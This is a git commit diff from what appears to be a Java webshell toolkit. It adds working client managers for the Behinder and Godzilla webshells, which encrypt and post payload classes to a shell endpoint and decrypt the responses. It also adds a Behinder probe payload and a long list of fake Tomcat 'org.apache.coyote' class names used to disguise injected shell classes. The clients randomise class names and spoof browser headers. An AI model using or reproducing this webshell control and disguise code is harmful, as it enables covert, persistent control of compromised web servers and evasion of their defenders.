refactor: use platform to manage dependency

1. rename Packer.INSTANCE
2. gradle platform is a good thing (resolved #31)
This commit is contained in:
ReaJason
2025-01-25 20:30:08 +08:00
parent c046d466db
commit 4f69497680
89 changed files with 1411 additions and 1347 deletions
+33
View File
@@ -0,0 +1,33 @@
plugins {
id "io.freefair.lombok" version "8.11"
}
group = 'com.reajason.javaweb'
version = ''
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
dependencies {
implementation project(":common")
implementation 'net.bytebuddy:byte-buddy'
implementation 'commons-io:commons-io'
implementation 'org.apache.commons:commons-lang3'
implementation 'commons-codec:commons-codec'
implementation 'com.squareup.okhttp3:okhttp'
implementation 'com.alibaba.fastjson2:fastjson2'
testImplementation platform('org.junit:junit-bom')
testImplementation 'org.junit.jupiter:junit-jupiter'
}
test {
useJUnitPlatform()
}
@@ -0,0 +1,179 @@
package com.reajason.javaweb.behinder;
import com.alibaba.fastjson2.JSON;
import com.alibaba.fastjson2.JSONObject;
import com.reajason.javaweb.behinder.payloads.Test;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.ClassFileVersion;
import net.bytebuddy.jar.asm.Opcodes;
import okhttp3.*;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.lang3.StringUtils;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.IOException;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/21
*/
@Data
@AllArgsConstructor
public class BehinderManager {
private final OkHttpClient client;
private String cookie = "";
private String entrypoint;
private String pass;
private String md5Key;
private Request request;
private Map<String, String> headers = new HashMap<>();
public BehinderManager() {
this.client = new OkHttpClient.Builder().build();
}
@SneakyThrows
public boolean test() {
byte[] bytes = new ByteBuddy(ClassFileVersion.JAVA_V6).redefine(Test.class)
.name(Utils.getRandomClassName(Test.class.getName()))
.visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6))
.make().getBytes();
String param = "xixi";
Map<String, Object> resultObj = post(bytes);
JSONObject expectedSuccessObj = new JSONObject();
expectedSuccessObj.put("status", java.util.Base64.getEncoder().encodeToString("success".getBytes()));
expectedSuccessObj.put("msg", java.util.Base64.getEncoder().encodeToString(param.getBytes()));
String expectedSuccessBody = expectedSuccessObj.toString();
byte[] expectedSuccessBodyBytes = encrypt(expectedSuccessBody.getBytes());
byte[] resData = Base64.decodeBase64((byte[]) resultObj.get("data"));
int beginIndex = indexOf(resData, expectedSuccessBodyBytes);
int endIndex = resData.length - (beginIndex + expectedSuccessBodyBytes.length);
endIndex = beginIndex == -1 ? -1 : endIndex;
if (beginIndex > 0 || endIndex > 0) {
resData = Arrays.copyOfRange(resData, beginIndex, resData.length - endIndex);
}
String resText = new String(decrypt(resData));
if (StringUtils.isBlank(resText)) {
throw new RuntimeException("decrypt text is empty, the raw data is " + new String((byte[]) resultObj.get("data")) + " and the status code is " + resultObj.get("status"));
}
JSONObject jsonObject = JSON.parseObject(resText);
String msg = new String(Base64.decodeBase64(jsonObject.getString("msg")));
if (!param.equals(msg)) {
throw new RuntimeException(msg + " not equals to xixi, and status code is " + resultObj.get("status"));
}
return true;
}
public Map<String, Object> post(byte[] bytes) throws IOException {
byte[] aes = encrypt(bytes);
RequestBody requestBody = RequestBody.create(Base64.encodeBase64(aes));
Request.Builder builder = new Request.Builder()
.url(this.entrypoint)
.post(requestBody)
.headers(Headers.of(this.headers));
if (StringUtils.isNotBlank(cookie)) {
builder.header("Cookie", cookie);
}
Map<String, Object> map = new HashMap<>(3);
try (Response response = client.newCall(builder.build()).execute()) {
map.put("status", response.code());
byte[] bytes1 = response.body().bytes();
map.put("data", bytes1);
map.put("headers", response.headers());
}
return map;
}
private byte[] encrypt(byte[] bytes) throws IOException {
return aes(this.md5Key, bytes, true);
}
private byte[] decrypt(byte[] bytes) throws IOException {
return aes(this.md5Key, bytes, false);
}
/**
* AES 加解密
*
* @param bytes 加解密的字符串字节数组
* @param encoding 是否为加密,true 为加密,false 解密
* @return 返回加解密后的字节数组
*/
public static byte[] aes(String key, byte[] bytes, boolean encoding) {
try {
Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
c.init(encoding ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(bytes);
} catch (Exception e) {
return new byte[0];
}
}
public static int indexOf(byte[] outerArray, byte[] smallerArray) {
for (int i = 0; i < outerArray.length - smallerArray.length + 1; ++i) {
boolean found = true;
for (int j = 0; j < smallerArray.length; ++j) {
if (outerArray[i + j] != smallerArray[j]) {
found = false;
break;
}
}
if (found) {
return i;
}
}
return -1;
}
public static BehinderManager.BehinderManagerBuilder builder() {
return new BehinderManager.BehinderManagerBuilder();
}
public static class BehinderManagerBuilder {
private final Map<String, String> headers = new HashMap<>();
private String entrypoint;
private String pass;
public BehinderManager.BehinderManagerBuilder entrypoint(String entrypoint) {
this.entrypoint = entrypoint;
return this;
}
public BehinderManager.BehinderManagerBuilder pass(String pass) {
this.pass = pass;
return this;
}
public BehinderManager.BehinderManagerBuilder header(String key, String value) {
this.headers.put(key, value);
return this;
}
public BehinderManager build() {
BehinderManager manager = new BehinderManager();
manager.setPass(pass);
manager.setEntrypoint(entrypoint);
manager.setMd5Key(DigestUtils.md5Hex(pass).substring(0, 16));
Map<String, String> headers = new HashMap<>(16);
headers.put("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0");
headers.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
headers.put("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
headers.putAll(this.headers);
manager.setHeaders(headers);
return manager;
}
}
}
@@ -0,0 +1,41 @@
package com.reajason.javaweb.behinder;
import java.util.Random;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class Utils {
public static String getRandomAlpha(int length) {
String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
Random random = new Random();
StringBuilder sb = new StringBuilder();
for (int i = 0; i < length; ++i) {
int number = random.nextInt(52);
sb.append(str.charAt(number));
}
return sb.toString();
}
public static String getRandomClassName(String sourceName) {
String[] domainAs = new String[]{"com", "net", "org", "sun"};
String domainB = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase();
String domainC = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase();
String domainD = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase();
String className = getRandomAlpha((new Random()).nextInt(7) + 4);
className = className.substring(0, 1).toUpperCase() + className.substring(1).toLowerCase();
int domainAIndex = (new Random()).nextInt(4);
String domainA = domainAs[domainAIndex];
int randomSegments = (new Random()).nextInt(3) + 3;
if (randomSegments == 3) {
return domainA + "." + domainB + "." + className;
} else if (randomSegments == 4) {
return domainA + "." + domainB + "." + domainC + "." + className;
} else {
return domainA + "." + domainB + "." + domainC + "." + className;
}
}
}
@@ -0,0 +1,122 @@
package com.reajason.javaweb.behinder.payloads;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Method;
import java.util.LinkedHashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/21
*/
@SuppressWarnings("all")
public class Test {
private Object Request;
private Object Response;
private Object Session;
public Test() {
}
public boolean equals(Object obj) {
Map<String, String> result = new LinkedHashMap();
try {
this.fillContext(obj);
result.put("status", "success");
result.put("msg", "xixi");
} catch (Exception e) {
result.put("msg", e.getMessage());
result.put("status", "success");
} finally {
try {
Object so = null;
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
} catch (Exception e) {
// org.springframework.boot.web.servlet.support.ErrorPageFilter$ErrorWrapperResponse is private
Method getOutputStreamMethod = this.Response.getClass().getDeclaredMethod("getOutputStream");
getOutputStreamMethod.setAccessible(true);
so = getOutputStreamMethod.invoke(this.Response);
}
Method write = so.getClass().getMethod("write", byte[].class);
String jsonStr = this.buildJson(result, true);
write.invoke(so, this.Encrypt(jsonStr.getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception e) {
e.printStackTrace();
}
}
return true;
}
private byte[] Encrypt(byte[] bs) throws Exception {
String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
byte[] raw = key.getBytes("utf-8");
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(1, skeySpec);
byte[] encrypted = cipher.doFinal(bs);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
bos.write(encrypted);
return this.base64encode(bos.toByteArray()).getBytes();
}
private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
String version = System.getProperty("java.version");
sb.append("{");
for (String key : entity.keySet()) {
sb.append("\"" + key + "\":\"");
String value = (String) entity.get(key);
if (encode) {
value = this.base64encode(value.getBytes());
}
sb.append(value);
sb.append("\",");
}
if (sb.toString().endsWith(",")) {
sb.setLength(sb.length() - 1);
}
sb.append("}");
return sb.toString();
}
private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
this.Session = obj.getClass().getMethod("getSession").invoke(obj);
} else {
Map<String, Object> objMap = (Map) obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}
this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
}
private String base64encode(byte[] data) throws Exception {
String result = "";
String version = System.getProperty("java.version");
try {
this.getClass();
Class Base64 = Class.forName("java.util.Base64");
Object Encoder = Base64.getMethod("getEncoder", (Class[]) null).invoke(Base64, (Object[]) null);
result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
} catch (Throwable var7) {
this.getClass();
Class Base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = Base64.newInstance();
result = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);
result = result.replace("\n", "").replace("\r", "");
}
return result;
}
}
@@ -0,0 +1,19 @@
package com.reajason.javaweb.behinder;
import org.junit.jupiter.api.Test;
/**
* @author ReaJason
* @since 2024/12/21
*/
class BehinderManagerTest {
@Test
void test() {
BehinderManager behinderManager = BehinderManager.builder()
.entrypoint("http://localhost:8080/test")
.pass("pass")
.header("User-Agent", "BehinderinterceptorBase64").build();
behinderManager.test();
}
}
+5
View File
@@ -0,0 +1,5 @@
idea {
module {
excludeDirs += file('src')
}
}
+32
View File
@@ -0,0 +1,32 @@
plugins {
id "io.freefair.lombok" version "8.11"
}
group = 'com.reajason.javaweb'
version = ''
java {
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
dependencies {
implementation project(":common")
implementation 'net.bytebuddy:byte-buddy'
implementation 'commons-io:commons-io'
implementation 'org.apache.commons:commons-lang3'
implementation 'commons-codec:commons-codec'
implementation 'com.squareup.okhttp3:okhttp'
testImplementation platform('org.junit:junit-bom')
testImplementation 'org.junit.jupiter:junit-jupiter'
}
test {
useJUnitPlatform()
}
@@ -0,0 +1,291 @@
package com.reajason.javaweb.godzilla;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import lombok.Getter;
import lombok.Setter;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import okhttp3.*;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.tuple.Pair;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.util.*;
import java.util.zip.GZIPInputStream;
import java.util.zip.GZIPOutputStream;
/**
* @author ReaJason
*/
@Getter
@Setter
public class GodzillaManager implements Closeable {
private static final List<String> CLASS_NAMES;
static {
InputStream classNamesStream = Objects.requireNonNull(GodzillaManager.class.getResourceAsStream("/godzillaShellClassNames.txt"));
CLASS_NAMES = IOUtils.readLines(classNamesStream, "UTF-8");
}
private final OkHttpClient client;
private String cookie = "";
private String entrypoint;
private String key;
private String pass;
private String md5;
private Request request;
private Map<String, String> headers = new HashMap<>();
public GodzillaManager() {
this.client = new OkHttpClient.Builder().build();
}
public static Pair<String, String> getKeyMd5(String key, String pass) {
String md5Key = DigestUtils.md5Hex(key).substring(0, 16);
String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase();
return Pair.of(md5Key, md5);
}
public static GodzillaManagerBuilder builder() {
return new GodzillaManagerBuilder();
}
@SneakyThrows
public static byte[] generateGodzilla() {
Random random = new Random();
String className = CLASS_NAMES.get(random.nextInt(CLASS_NAMES.size()));
try (DynamicType.Unloaded<?> make = new ByteBuddy()
.redefine(Payload.class)
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
.name(className)
.make()) {
return make.getBytes();
}
}
/**
* AES 加解密
*
* @param bytes 加解密的字符串字节数组
* @param encoding 是否为加密,true 为加密,false 解密
* @return 返回加解密后的字节数组
*/
public static byte[] aes(String key, byte[] bytes, boolean encoding) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(encoding ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(bytes);
} catch (Exception e) {
return new byte[0];
}
}
private static boolean isValidResponse(String response, String md5) {
if (StringUtils.isEmpty(response)) {
return false;
}
if (response.length() < 32) {
return false;
}
return response.contains(md5.substring(0, 16)) && response.trim().contains(md5.substring(16));
}
@SneakyThrows
public static String getResultFromRes(String responseBody, String key, String md5) {
if (!isValidResponse(responseBody, md5)) {
return responseBody;
}
int i = responseBody.indexOf(md5.substring(0, 16));
String result = responseBody.substring(i + 16);
int lastIndex = result.indexOf(md5.substring(16));
result = result.substring(0, lastIndex);
byte[] bytes = Base64.decodeBase64(result);
byte[] x = aes(key, bytes, false);
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x));
return IOUtils.toString(gzipInputStream, StandardCharsets.UTF_8);
}
public static Map<String, String> restorePayload(String key, String payload) {
String p = payload;
try {
String urlDecoded = URLDecoder.decode(payload, "UTF-8");
if (StringUtils.isNoneBlank(urlDecoded)) {
p = urlDecoded;
}
} catch (UnsupportedEncodingException ignored) {
}
Map<String, String> map = new HashMap<>();
byte[] bytes = Base64.decodeBase64(p);
byte[] x = aes(key, bytes, false);
ByteArrayInputStream tStream = new ByteArrayInputStream(x);
ByteArrayOutputStream tp = new ByteArrayOutputStream();
byte[] lenB = new byte[4];
int read;
try {
GZIPInputStream inputStream = new GZIPInputStream(tStream);
while (true) {
byte t = (byte) inputStream.read();
if (t != -1) {
if (t == 2) {
String dataKey = tp.toString();
inputStream.read(lenB);
int len = bytesToInt(lenB);
byte[] data = new byte[len];
int readOneLen = 0;
do {
read = readOneLen + inputStream.read(data, readOneLen, data.length - readOneLen);
readOneLen = read;
} while (read < data.length);
map.put(dataKey, new String(data));
tp.reset();
} else {
tp.write(t);
}
} else {
tp.close();
tStream.close();
inputStream.close();
break;
}
}
} catch (Exception ignored) {
}
return map;
}
public static int bytesToInt(byte[] bytes) {
return (bytes[0] & 255) | ((bytes[1] & 255) << 8) | ((bytes[2] & 255) << 16) | ((bytes[3] & 255) << 24);
}
public static byte[] intToBytes(int value) {
return new byte[]{(byte) (value & 255), (byte) ((value >> 8) & 255), (byte) ((value >> 16) & 255), (byte) ((value >> 24) & 255)};
}
private Response post(byte[] bytes) throws IOException {
byte[] aes = aes(this.key, bytes, true);
String base64String = Base64.encodeBase64String(aes);
RequestBody requestBody = new FormBody.Builder()
.add(this.pass, base64String)
.build();
Request.Builder builder = new Request.Builder()
.url(this.entrypoint)
.post(requestBody)
.headers(Headers.of(this.headers));
if (StringUtils.isNotBlank(cookie)) {
builder.header("Cookie", cookie);
}
return client.newCall(builder.build()).execute();
}
public boolean start() {
byte[] bytes = generateGodzilla();
try (Response response = post(bytes)) {
String setCookie = response.header("Set-Cookie");
if (setCookie != null && setCookie.contains("JSESSIONID=")) {
cookie = setCookie.substring(setCookie.indexOf("JSESSIONID="), setCookie.indexOf(";"));
}
if (response.isSuccessful()) {
return true;
}
System.out.println(response.body().string().trim());
} catch (IOException e) {
e.printStackTrace();
}
return false;
}
public boolean test() {
byte[] bytes = generateMethodCallBytes("test");
try (Response response = post(bytes)) {
if (response.isSuccessful()) {
ResponseBody body = response.body();
if (body != null) {
String resultFromRes = getResultFromRes(body.string(), this.key, this.md5);
System.out.println(resultFromRes);
return "ok".equals(resultFromRes);
}
}
return false;
} catch (IOException e) {
e.printStackTrace();
return false;
}
}
@Override
public void close() throws IOException {
byte[] bytes = generateMethodCallBytes("close");
try (Response response = post(bytes)) {
if (response.isSuccessful()) {
response.body();
}
} catch (IOException ignore) {
}
}
@SneakyThrows
private byte[] generateMethodCallBytes(String methodName) {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try (GZIPOutputStream gzipOutputStream = new GZIPOutputStream(byteArrayOutputStream);) {
byte[] value = methodName.getBytes();
gzipOutputStream.write("methodName".getBytes());
gzipOutputStream.write(2);
gzipOutputStream.write(intToBytes(value.length));
gzipOutputStream.write(value);
}
return byteArrayOutputStream.toByteArray();
}
public static class GodzillaManagerBuilder {
private final Map<String, String> headers = new HashMap<>();
private String entrypoint;
private String key;
private String pass;
public GodzillaManagerBuilder entrypoint(String entrypoint) {
this.entrypoint = entrypoint;
return this;
}
public GodzillaManagerBuilder key(String key) {
this.key = key;
return this;
}
public GodzillaManagerBuilder pass(String pass) {
this.pass = pass;
return this;
}
public GodzillaManagerBuilder header(String key, String value) {
this.headers.put(key, value);
return this;
}
public GodzillaManager build() {
GodzillaManager manager = new GodzillaManager();
manager.setEntrypoint(entrypoint);
manager.setPass(pass);
Pair<String, String> keyMd5 = getKeyMd5(key, pass);
manager.setKey(keyMd5.getLeft());
manager.setMd5(keyMd5.getRight());
Map<String, String> headers = new HashMap<>(16);
headers.put("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0");
headers.put("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
headers.put("Accept-Language", "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2");
headers.putAll(this.headers);
manager.setHeaders(headers);
return manager;
}
}
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,413 @@
org.apache.coyote.AbstractTypeResolver
org.apache.coyote.AnnotationIntrospector
org.apache.coyote.BeanDescription
org.apache.coyote.BeanProperty
org.apache.coyote.DatabindContext
org.apache.coyote.DeserializationConfig
org.apache.coyote.DeserializationContext
org.apache.coyote.DeserializationFeature
org.apache.coyote.InjectableValues
org.apache.coyote.JavaType
org.apache.coyote.JsonDeserializer
org.apache.coyote.JsonMappingException
org.apache.coyote.JsonNode
org.apache.coyote.JsonSerializable
org.apache.coyote.JsonSerializer
org.apache.coyote.KeyDeserializer
org.apache.coyote.MapperFeature
org.apache.coyote.MappingIterator
org.apache.coyote.MappingJsonFactory
org.apache.coyote.Module
org.apache.coyote.ObjectMapper
org.apache.coyote.ObjectReader
org.apache.coyote.ObjectWriter
org.apache.coyote.PropertyMetadata
org.apache.coyote.PropertyName
org.apache.coyote.PropertyNamingStrategy
org.apache.coyote.RuntimeJsonMappingException
org.apache.coyote.SequenceWriter
org.apache.coyote.SerializationConfig
org.apache.coyote.SerializationFeature
org.apache.coyote.SerializerProvider
org.apache.coyote.annotation.JacksonStdImpl
org.apache.coyote.annotation.JsonAppend
org.apache.coyote.annotation.JsonDeserialize
org.apache.coyote.annotation.JsonNaming
org.apache.coyote.annotation.JsonPOJOBuilder
org.apache.coyote.annotation.JsonSerialize
org.apache.coyote.annotation.JsonTypeIdResolver
org.apache.coyote.annotation.JsonTypeResolver
org.apache.coyote.annotation.JsonValueInstantiator
org.apache.coyote.annotation.NoClass
org.apache.coyote.cfg.BaseSettings
org.apache.coyote.cfg.ConfigFeature
org.apache.coyote.cfg.ConfigOverride
org.apache.coyote.cfg.ConfigOverrides
org.apache.coyote.cfg.ContextAttributes
org.apache.coyote.cfg.DeserializerFactoryConfig
org.apache.coyote.cfg.HandlerInstantiator
org.apache.coyote.cfg.MapperBuilder
org.apache.coyote.cfg.MapperConfig
org.apache.coyote.cfg.MapperConfigBase
org.apache.coyote.cfg.MutableConfigOverride
org.apache.coyote.cfg.PackageVersion
org.apache.coyote.cfg.SerializerFactoryConfig
org.apache.coyote.deser.AbstractDeserializer
org.apache.coyote.deser.BasicDeserializerFactory
org.apache.coyote.deser.BeanDeserializer
org.apache.coyote.deser.BeanDeserializerBase
org.apache.coyote.deser.BeanDeserializerBuilder
org.apache.coyote.deser.BeanDeserializerFactory
org.apache.coyote.deser.BeanDeserializerModifier
org.apache.coyote.deser.BuilderBasedDeserializer
org.apache.coyote.deser.ContextualDeserializer
org.apache.coyote.deser.ContextualKeyDeserializer
org.apache.coyote.deser.CreatorProperty
org.apache.coyote.deser.DataFormatReaders
org.apache.coyote.deser.DefaultDeserializationContext
org.apache.coyote.deser.DeserializationProblemHandler
org.apache.coyote.deser.DeserializerCache
org.apache.coyote.deser.DeserializerFactory
org.apache.coyote.deser.Deserializers
org.apache.coyote.deser.KeyDeserializers
org.apache.coyote.deser.NullValueProvider
org.apache.coyote.deser.ResolvableDeserializer
org.apache.coyote.deser.SettableAnyProperty
org.apache.coyote.deser.SettableBeanProperty
org.apache.coyote.deser.UnresolvedForwardReference
org.apache.coyote.deser.UnresolvedId
org.apache.coyote.deser.ValueInstantiator
org.apache.coyote.deser.ValueInstantiators
org.apache.coyote.deser.impl.BeanAsArrayBuilderDeserializer
org.apache.coyote.deser.impl.BeanAsArrayDeserializer
org.apache.coyote.deser.impl.BeanPropertyMap
org.apache.coyote.deser.impl.CreatorCandidate
org.apache.coyote.deser.impl.CreatorCollector
org.apache.coyote.deser.impl.ErrorThrowingDeserializer
org.apache.coyote.deser.impl.ExternalTypeHandler
org.apache.coyote.deser.impl.FailingDeserializer
org.apache.coyote.deser.impl.FieldProperty
org.apache.coyote.deser.impl.InnerClassProperty
org.apache.coyote.deser.impl.JDKValueInstantiators
org.apache.coyote.deser.impl.JavaUtilCollectionsDeserializers
org.apache.coyote.deser.impl.ManagedReferenceProperty
org.apache.coyote.deser.impl.MergingSettableBeanProperty
org.apache.coyote.deser.impl.MethodProperty
org.apache.coyote.deser.impl.NullsAsEmptyProvider
org.apache.coyote.deser.impl.NullsConstantProvider
org.apache.coyote.deser.impl.NullsFailProvider
org.apache.coyote.deser.impl.ObjectIdReader
org.apache.coyote.deser.impl.ObjectIdReferenceProperty
org.apache.coyote.deser.impl.ObjectIdValueProperty
org.apache.coyote.deser.impl.PropertyBasedCreator
org.apache.coyote.deser.impl.PropertyBasedObjectIdGenerator
org.apache.coyote.deser.impl.PropertyValue
org.apache.coyote.deser.impl.PropertyValueBuffer
org.apache.coyote.deser.impl.ReadableObjectId
org.apache.coyote.deser.impl.SetterlessProperty
org.apache.coyote.deser.impl.TypeWrappedDeserializer
org.apache.coyote.deser.impl.UnwrappedPropertyHandler
org.apache.coyote.deser.impl.ValueInjector
org.apache.coyote.deser.std.ArrayBlockingQueueDeserializer
org.apache.coyote.deser.std.AtomicBooleanDeserializer
org.apache.coyote.deser.std.AtomicReferenceDeserializer
org.apache.coyote.deser.std.BaseNodeDeserializer
org.apache.coyote.deser.std.ByteBufferDeserializer
org.apache.coyote.deser.std.CollectionDeserializer
org.apache.coyote.deser.std.ContainerDeserializerBase
org.apache.coyote.deser.std.DateDeserializers
org.apache.coyote.deser.std.DelegatingDeserializer
org.apache.coyote.deser.std.EnumDeserializer
org.apache.coyote.deser.std.EnumMapDeserializer
org.apache.coyote.deser.std.EnumSetDeserializer
org.apache.coyote.deser.std.FactoryBasedEnumDeserializer
org.apache.coyote.deser.std.FromStringDeserializer
org.apache.coyote.deser.std.JdkDeserializers
org.apache.coyote.deser.std.JsonLocationInstantiator
org.apache.coyote.deser.std.JsonNodeDeserializer
org.apache.coyote.deser.std.MapDeserializer
org.apache.coyote.deser.std.MapEntryDeserializer
org.apache.coyote.deser.std.NullifyingDeserializer
org.apache.coyote.deser.std.NumberDeserializers
org.apache.coyote.deser.std.ObjectArrayDeserializer
org.apache.coyote.deser.std.PrimitiveArrayDeserializers
org.apache.coyote.deser.std.ReferenceTypeDeserializer
org.apache.coyote.deser.std.StackTraceElementDeserializer
org.apache.coyote.deser.std.StdDelegatingDeserializer
org.apache.coyote.deser.std.StdDeserializer
org.apache.coyote.deser.std.StdKeyDeserializer
org.apache.coyote.deser.std.StdKeyDeserializers
org.apache.coyote.deser.std.StdNodeBasedDeserializer
org.apache.coyote.deser.std.StdScalarDeserializer
org.apache.coyote.deser.std.StdValueInstantiator
org.apache.coyote.deser.std.StringArrayDeserializer
org.apache.coyote.deser.std.StringCollectionDeserializer
org.apache.coyote.deser.std.StringDeserializer
org.apache.coyote.deser.std.ThrowableDeserializer
org.apache.coyote.deser.std.TokenBufferDeserializer
org.apache.coyote.deser.std.UUIDDeserializer
org.apache.coyote.deser.std.UntypedObjectDeserializer
org.apache.coyote.exc.IgnoredPropertyException
org.apache.coyote.exc.InvalidDefinitionException
org.apache.coyote.exc.InvalidFormatException
org.apache.coyote.exc.InvalidNullException
org.apache.coyote.exc.InvalidTypeIdException
org.apache.coyote.exc.MismatchedInputException
org.apache.coyote.exc.PropertyBindingException
org.apache.coyote.exc.UnrecognizedPropertyException
org.apache.coyote.exc.ValueInstantiationException
org.apache.coyote.ext.CoreXMLDeserializers
org.apache.coyote.ext.CoreXMLSerializers
org.apache.coyote.ext.DOMDeserializer
org.apache.coyote.ext.DOMSerializer
org.apache.coyote.ext.Java7Handlers
org.apache.coyote.ext.Java7HandlersImpl
org.apache.coyote.ext.Java7Support
org.apache.coyote.ext.Java7SupportImpl
org.apache.coyote.ext.NioPathDeserializer
org.apache.coyote.ext.NioPathSerializer
org.apache.coyote.ext.OptionalHandlerFactory
org.apache.coyote.introspect.Annotated
org.apache.coyote.introspect.AnnotatedClass
org.apache.coyote.introspect.AnnotatedClassResolver
org.apache.coyote.introspect.AnnotatedConstructor
org.apache.coyote.introspect.AnnotatedCreatorCollector
org.apache.coyote.introspect.AnnotatedField
org.apache.coyote.introspect.AnnotatedFieldCollector
org.apache.coyote.introspect.AnnotatedMember
org.apache.coyote.introspect.AnnotatedMethod
org.apache.coyote.introspect.AnnotatedMethodCollector
org.apache.coyote.introspect.AnnotatedMethodMap
org.apache.coyote.introspect.AnnotatedParameter
org.apache.coyote.introspect.AnnotatedWithParams
org.apache.coyote.introspect.AnnotationCollector
org.apache.coyote.introspect.AnnotationIntrospectorPair
org.apache.coyote.introspect.AnnotationMap
org.apache.coyote.introspect.BasicBeanDescription
org.apache.coyote.introspect.BasicClassIntrospector
org.apache.coyote.introspect.BeanPropertyDefinition
org.apache.coyote.introspect.ClassIntrospector
org.apache.coyote.introspect.CollectorBase
org.apache.coyote.introspect.ConcreteBeanPropertyBase
org.apache.coyote.introspect.JacksonAnnotationIntrospector
org.apache.coyote.introspect.MemberKey
org.apache.coyote.introspect.NopAnnotationIntrospector
org.apache.coyote.introspect.ObjectIdInfo
org.apache.coyote.introspect.POJOPropertiesCollector
org.apache.coyote.introspect.POJOPropertyBuilder
org.apache.coyote.introspect.SimpleMixInResolver
org.apache.coyote.introspect.TypeResolutionContext
org.apache.coyote.introspect.VirtualAnnotatedMember
org.apache.coyote.introspect.VisibilityChecker
org.apache.coyote.introspect.WithMember
org.apache.coyote.json.JsonMapper
org.apache.coyote.jsonFormatVisitors.JsonAnyFormatVisitor
org.apache.coyote.jsonFormatVisitors.JsonArrayFormatVisitor
org.apache.coyote.jsonFormatVisitors.JsonBooleanFormatVisitor
org.apache.coyote.jsonFormatVisitors.JsonFormatTypes
org.apache.coyote.jsonFormatVisitors.JsonFormatVisitable
org.apache.coyote.jsonFormatVisitors.JsonFormatVisitorWithSerializerProvider
org.apache.coyote.jsonFormatVisitors.JsonFormatVisitorWrapper
org.apache.coyote.jsonFormatVisitors.JsonIntegerFormatVisitor
org.apache.coyote.jsonFormatVisitors.JsonMapFormatVisitor
org.apache.coyote.jsonFormatVisitors.JsonNullFormatVisitor
org.apache.coyote.jsonFormatVisitors.JsonNumberFormatVisitor
org.apache.coyote.jsonFormatVisitors.JsonObjectFormatVisitor
org.apache.coyote.jsonFormatVisitors.JsonStringFormatVisitor
org.apache.coyote.jsonFormatVisitors.JsonValueFormat
org.apache.coyote.jsonFormatVisitors.JsonValueFormatVisitor
org.apache.coyote.jsonschema.JsonSchema
org.apache.coyote.jsonschema.JsonSerializableSchema
org.apache.coyote.jsonschema.SchemaAware
org.apache.coyote.jsontype.BasicPolymorphicTypeValidator
org.apache.coyote.jsontype.NamedType
org.apache.coyote.jsontype.PolymorphicTypeValidator
org.apache.coyote.jsontype.SubtypeResolver
org.apache.coyote.jsontype.TypeDeserializer
org.apache.coyote.jsontype.TypeIdResolver
